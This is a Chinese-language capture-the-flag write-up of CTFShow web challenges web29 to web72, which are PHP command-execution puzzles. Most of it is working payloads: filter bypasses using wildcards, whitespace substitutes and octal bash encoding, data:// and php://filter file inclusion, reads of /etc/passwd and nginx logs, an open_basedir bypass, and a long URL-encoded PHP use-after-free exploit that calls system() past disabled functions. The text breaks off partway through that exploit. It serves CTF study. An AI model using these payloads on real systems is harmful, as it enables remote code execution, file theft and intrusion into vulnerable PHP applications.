CTFShow_WEB
CTFShow_WEB
LacYorCTFShow_WEB
命令执行
web29
1 | error_reporting(0); |
过滤了 flag 字段,可以使用 *
通配符进行过滤
payload:?c=system("tac%20fla*");
web30
1 | error_reporting(0); |
这次过滤了 flag,system,php;
因此思考有什么能替代 system
函数:
PHP命令执行函数
函数 作用 eg system()
用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。 system('cat /etc/passwd');
exec()
可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 exec('cat /etc/passwd', $result); print_r($result);
shell_exec()
执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 echo shell_exec('cat /etc/passwd');
passthru()
执行系统命令并将执行结果输出到页面中,支持二进制数据。 passthru('cat /etc/passwd');
popen()
执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 $result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号
用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。 echo \cat /etc/passwd;
这里使用 passthru()
函数
payload:?c=passthru("tac fla*");
web31
1 | error_reporting(0); |
相比上题,多过滤了更多的函数以及空格
空格,可以使用
%09
、$IFS$9
、${IFS}
代替
payload:?c=passthru("tac%09fla*");
web32
1 | error_reporting(0); |
这次较上一题过滤了更多符号,;
(
的过滤导致无法继续使用上面的方法
这里使用文件包含:
payload:c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解释一下:
- 首先是 include+ 参数 1,作用是包含参数 1 的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd 和 nginx 的日志文件来定位 flag 位置
- 然后是 %0a 作用,这是 url 回车符,因为空格被过滤。事实上,删去也无所谓,似乎 php 会自动给字符串和变量间添加空格(经检验,只在 eval 中有效,echo 中无效,还是得要空格)
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php 遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是 php 文件中最后一句在?>前可以不写分号。
- 在 c 中引用了参数 1,然后&后对参数 1 定义,运用文件包含漏洞
web33
1 | error_reporting(0); |
上题方法依然可行
payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web34
1 | error_reporting(0); |
依旧同上
payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
1 | error_reporting(0); |
仍然同上
payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
1 | error_reporting(0); |
相较于上题,过滤了数字,因此将 URL 回车符删掉,并替换参数为字母
payload:?c=include$_GET[e]?>&e=php://filter/convert.base64-encode/resource=flag.php
web37
1 | error_reporting(0); |
这里使用 data 伪协议、文件包含漏洞
payload:?c=data:text/plain,<?php system('tac fla*.php');?>
解释:
-
data:
是 PHP 支持的数据流封装器,用于将纯文本直接作为文件内容读取。data:// 是 PHP 的数据协议,它允许在 URL 中直接嵌入文件内容,常用于传输小块数据,而不是指向实际的文件系统路径。 -
text/plain,
表示 MIME 类型,这里不会影响执行。 -
<?php system('tac fla*.php');?>
是直接放入的数据内容,data 封装器会将其视为一个“文件内容”。
web38
1 | //flag in flag.php |
相较于上题,过滤了 php
,这里采用短标签 =
替换 php
payload:?c=data:text/plain,<?= system('tac fla*');?>
web39
1 | error_reporting(0); |
.php 并不会影响行为,因为拼接的 .php 被“忽视”,因为 PHP 认为整个字符串(包括 .php)是一个数据流 URL,而不是文件路径。
payload:?c=data:text/plain,<?= system('tac fla*');?>
web40
1 | if(isset($_GET['c'])){ |
无参数RCE
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
解释一下:
1. localeconv()
- 返回当前语言环境的数字和货币格式信息,是一个 关联数组。
2. pos(localeconv())
-
pos()
是current()
的别名,用来获取数组中第一个元素的值(不是 key)。 - 所以
pos(localeconv())
会返回localeconv()
数组中第一个值,可能是"."
。
3. scandir(...)
- 扫描指定目录,返回该目录下的文件和文件夹名的数组。
- 如果
pos(localeconv())
是"."
,那就相当于scandir(".")
,列出当前目录下的所有文件和目录。
4. array_reverse(...)
- 反转文件列表,使最后的文件排在最前。
5. next(...)
-
next()
返回数组中的第二个元素。
这段代码的整体含义是:
获取当前目录中倒序排列的第二个文件名,然后用 show_source()
显示这个文件的源代码。
web41
1 | if(isset($_POST['c'])){ |
屏蔽了数字和字母,还屏蔽了一些其他的特殊字符。屏蔽的比较多
可以跑脚本来生成可用字符的集合。
思路是:
从所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。
先用脚本生成可用字符的集合:
1 | <?php |
通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。
接下来我们再利用脚本:
1 | import requests |
注意更改php脚本的位置和生成的rce.txt的位置,还有接受的参数比如上面是c,换个参数就把c改了就行,再配置一下php的环境变量即可。
web42
1 | if(isset($_GET['c'])){ |
这里的/dev/null 2>&1是进行了重定向,不进行回显。
重定向语法
基本语法
表达式 含义 >
文件将标准输出(stdout)重定向到一个文件(覆盖写入) >>
文件将标准输出重定向到一个文件(追加写入) 2>
文件将标准错误(stderr)重定向到一个文件 2>&1
将标准错误重定向到标准输出所在的位置 /dev/null
特殊设备,写入它的数据会被丢弃(相当于“黑洞”) 组合用法举例
1 command > /dev/null 2>&1含义分解:
-
> /dev/null
:把标准输出丢弃。-
2>&1
:把标准错误也重定向到标准输出(即也丢弃)。✅ 结果是命令既不输出正常信息,也不输出错误信息, “静默执行” 。
使用;
分割一下,构造payload
payload:?c=tac flag.php;ls
web43
1 | if(isset($_GET['c'])){ |
相较于上题,多过滤了cat
和;
使用||
进行分割
使用分隔进行双写绕过:
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
==%26a &的url编码==
==%0a 换行符的url 编码==
注意:
#
在URL中是特殊字符,要把 # 通过 GET 请求传输, 需要进行URL编码:#
->%23
1 ?c=tac flag.php;ls
system()
passthru()
``
也可以视为命令执行cat,sort可以用
tail
,tac
,nl
等代替空格,可以使用
%09
、$IFS$9
、${IFS}
代替过滤的flag,php,点,可以用通配符*或?代替.
嵌套函数(使用跳板)(逃逸)
1 c=eval($_GET[a]);&a=system('cat flag.php');文件包含
1 c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php其中
%0a
为换行符,而?>
替代了;
1 c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php伪协议
1 ?c=data://text/plain,<?php system("tac fla*");?>短标签
1 /?c=data://text/plain,<?= system("tac fla*");?>php中不需要括号的函数
1
2
3
4
5
6
7 echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";日志注入
1 ?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
payload:?c=tac flag.php||ls
web44
1 | if(isset($_GET['c'])){ |
相较上题,多过滤了个flag
,使用替换符?
替换一下就好
payload:?c=tac fla?.php||ls
web45
1 | if(isset($_GET['c'])){ |
相较于上题,多过滤了空格,替代空格即可
空格,可以使用
%09
、$IFS$9
、${IFS}
代替
payload:?c=tac%09fla*||ls
web46
1 | if(isset($_GET['c'])){ |
虽然相比于上题,过滤了更多的符号,但只要更换替换符即可
payload:?c=tac%09fla?.php||ls
web47
1 | if(isset($_GET['c'])){ |
通上,即使过滤了数字等更多符号,上题的payload依然不受影响
payload:?c=tac%09fla?.php||ls
web48
1 | if(isset($_GET['c'])){ |
上题payload依然可用
payload:?c=tac%09fla?.php||ls
web49
1 | if(isset($_GET['c'])){ |
依然使用上题payload(雾:?c=tac%09fla?.php||ls
说明:
PHP 会自动对 $_GET
中的参数进行 URL 解码,因此 %
在黑名单检查之前就已经变成了对应字符\t
,也就是 根本不会被 %
的正则命中。
web50
1 | if(isset($_GET['c'])){ |
这次09被过滤了,换一种方法:
payload:?c=tac<fl''ag.php%0a
解释一下:
部分 | 说明 |
---|---|
tac | Linux 下的命令,类似cat ,但会将文件的行倒序输出 |
< | 输入重定向,表示读取后面文件的内容 |
fl''ag.php | 等价于flag.php ,使用两个单引号'' 拼接绕过过滤规则(例如防止出现完整的flag 字符串) |
%0a | URL 编码的换行符\n ,可用于终止命令或注入新的一行命令(视上下文) |
web51
1 | if(isset($_GET['c'])){ |
相较于上题目,本题ban掉了tac
,可以使用nl
替代后查看网页源码
cat,sort可以用
tail
,tac
,nl
等代替
payload:?c=nl<fl''ag.php%0a
web52
1 | if(isset($_GET['c'])){ |
这次过滤了>
,无法使用重定向了。
但是放开了$
,因此可以使用${IFS}
替代空格
payload:?c=ta\c${IFS}/fla''g%0a
web53
1 | if(isset($_GET['c'])){ |
如上题一样,只不过不是重定向了,而是会输出输入的命令
payoad:?c=ta\c${IFS}fla''g.php
web54
1 | if(isset($_GET['c'])){ |
过滤了蛮多的,而且使用了模糊匹配:
只要字符串中包含正则中的字母,按顺序出现,中间可以有任意字符,就会被匹配。
玩一个rev函数绕过,会输出逆转后的flag
payload:?c=rev${IFS}fla?.php
web55
1 | if(isset($_GET['c'])){ |
过滤了字母,这里使用采取基于bash特性的技巧
基于Bash的无字母命令执行
原理:bash能解析八进制状态的字母
成熟脚本:https://probiusofficial.github.io/bashFuck/
使用
echo $0
的方式获取当前运行的脚本名称即可查看自己的终端类型:
1
2 root@Hello-CTF:echo $0
bash # bash / dash如果直接与容器交互大概率能得到一个bash的结果,但是当我们使用system函数时,这其实会由sh去执行,所以如果我们使用system去执行上述命令,大概率会得到:
1
2 # echo $0
sh但其实 sh 也是外包,通常它只是一个软连接,并不是真的有一个shell叫sh,要查看它最终的定向,我们可以使用
ls -l /bin/sh
使用 -l 参数列出:
1
2 root@Hello-CTF:ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox如ls 可以通过$‘\154\163’ 的方式进行执行。
1
2 root@Hello-CTF:/home# $'\154\163'
Challenge Hello-CTF_labs PHPSerialize-labs PHPinclude-labs RCE-labs但去dash中执行,会发现dash是无法解析他们的:
1
2 # $'\154\163'
dash: 1: $\154\163: not found若 sh 的软连接指向 dash,那么用system函数也类似:
1
2 # $'\154\163'
sh: 1: $\154\163: not found但是这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来:
1
2
3
4
5 bash-5.1# $'\143\141\164\40\57\146\154\141\147'
bash: cat /flag: No such file or directory
bash-5.1# $'\143\141\164' $'\57\146\154\141\147'
flag{TEST_Dynamic_FLAG}
在线解题脚本:bashFuck
注意:空格前后要分成2个部分分别转换
例如:要转换tac flag.php
,应该分为tac
和flag.php
两个部分分别转换
payload:?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'
web56
1 | if(isset($_GET['c'])){ |
难度升级,无字母数字的命令执行
知识点: .+空格+文件路径,会执行文件
当使用PHP上传文件时会生成一个临时文件 /tmp/php六个随机字符(PHP的临时文件包含大写字母,大写字母的范围在@到[之间)
同时?c=.%20/???/????????[@-[]
等效 /tmp/phpxxxxxx
所以只要构造一个文件上传包,文件内容为cat /var/www/html/flag.php
,再执行临时文件就可以了
web57
1 | //flag in 36.php |
很困难的一道题,但只需要凑出36即可
知识点:https://blog.csdn.net/qq_46091464/article/details/108563368
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
${_}
:代表上一次命令执行的结果
$(())
: 做运算
所以可以拼接得到-37 , -37取反得到36
payload:$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
查看源码即可
web58
1 | if(isset($_POST['c'])){ |
改为了post传参,但是对于许多命令执行的函数都禁用了(system,passthru)
可以使用文件包含:
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
也可以使用读取文件的函数:
payload:c=show_source('flag.php');
web59
1 | if(isset($_POST['c'])){ |
同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web60
1 | if(isset($_POST['c'])){ |
同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web61
1 | if(isset($_POST['c'])){ |
同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web62
1 | if(isset($_POST['c'])){ |
同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web63
1 | if(isset($_POST['c'])){ |
同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web64
1 | if(isset($_POST['c'])){ |
同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web65
1 | if(isset($_POST['c'])){ |
同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web66
1 | if(isset($_POST['c'])){ |
这次flag不在flag.php里了,可以使用scandir先找到目录
c=print_r(scandir("/"));
或者
c=var_dump(scandir('/'));
发现flag在/flag.txt下
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web67
1 | if(isset($_POST['c'])){ |
同上题一样
c=print_r(scandir("/"));
或者
c=var_dump(scandir('/'));
发现flag在/flag.txt下
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web68
同上题一样,但是估计题有bug,源码显示报错(雾)
同时过滤了print_r
c=var_dump(scandir('/'));
发现flag在/flag.txt下
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web69
同上题一样,源码显示报错(雾)
同时过滤了var_dump
,那这里使用var_export
c=var_export(scandir("/"));
找到flag位置(与上题一样)
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web70
同上题一样
c=var_export(scandir("/"));
找到flag位置(与上题一样)
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web71
1 | error_reporting(0); |
源码在附件中
解释一下:
1 | $s = ob_get_contents(); |
这两行的作用是尝试从输出缓冲区获取内容并清空缓冲,将缓冲区关闭,但不会输出内容
1 | echo preg_replace("/[0-9]|[a-z]/i","?",$s); |
把输出中的所有**数字和字母(不区分大小写)**都替换成 ?
后再输出。
即:
源码劫持了输出缓冲并且将数字和字母替换成了?。
所以可以提前终止程序,即执行完代码直接退出,可以调用的函数有:
1 | exit(); |
payload:
c=var_export(scandir("/"));die();
获取flag位置后
c=include("/flag.txt");die();
web72
很难的一道题
1 | error_reporting(0); |
由于open_basedir限制的访问区域,所以之前的方法无法扫描目录(open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域)
但是可以通过,php伪协议,glob://
绕过
payload:c=var_export(scandir('glob:///*'));exit();
其中,glob://为协议,/*为根目录所有内容。
发现flag0.txt
这里有一个开源的uaf脚本,直接使用,用到了一点pwn的知识(需要URL编码后使用。)
1 |
|
最终获取的payload:
1 | c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20addr